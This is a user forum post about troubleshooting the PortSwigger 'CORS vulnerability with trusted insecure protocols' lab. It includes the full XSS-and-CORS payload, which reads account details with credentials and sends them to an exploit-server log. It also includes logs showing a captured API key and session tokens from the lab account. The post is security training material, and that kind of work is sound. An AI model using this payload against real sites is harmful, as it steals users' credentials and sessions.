Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Problem with lab : CORS vulnerability with trusted insecure protocols

Rooting | Last updated: Sep 02, 2024 06:14PM UTC

Hello, I have a problem with the lab: CORS vulnerability with trusted insecure protocols I copied the payload of the solution because I thought I had a problem with my initial payload but the bug is still present. The payload provided in solution works correctly when I do view exploit, I am on the log page with my api key but as soon as I do deliver exploit to victim I do not see any request from the victim in the logs impossible to integrate the victim. payload : <script> document.location="http://stock.0aac003303c935fe80d2309c00e000e7.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0aac003303c935fe80d2309c00e000e7.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0af300b303c7358380ba2fdf01a600aa.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> log : 86.244..216 2024-09-02 18:10:32 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:10:36 +0000 "GET / HTTP/1.1" 200 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:10:37 +0000 "POST / HTTP/1.1" 302 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:10:37 +0000 "GET /exploit HTTP/1.1" 200 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:10:38 +0000 "GET /log?key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22r0bnlwKBI6ixvYTPx9WXRtk1JcJT5cE4%22,%20%20%22sessions%22:%20[%20%20%20%20%226Ph7yEYlGr4gvwZNKyUL2pHL0U9uiU5U%22,%20%20%20%20%22RBj9Ke5iVebEYolKAPyQnmgNPTlheAug%22%20%20]} HTTP/1.1" 200 "user-agent: Googlebot-news" 2024-09-02 18:10:38 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Googlebot-news" 86.244.2024-09-02 18:10:51 +0000 "GET / HTTP/1.1" 200 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:12:35 +0000 "POST / HTTP/1.1" 302 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:12:35 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:12:44 +0000 "GET / HTTP/1.1" 200 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:12:44 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Googlebot-news" 86.244..216 2024-09-02 18:12:46 +0000 "POST / HTTP/1.1" 302 "user-agent: Googlebot-news"

Rooting | Last updated: Sep 02, 2024 07:46PM UTC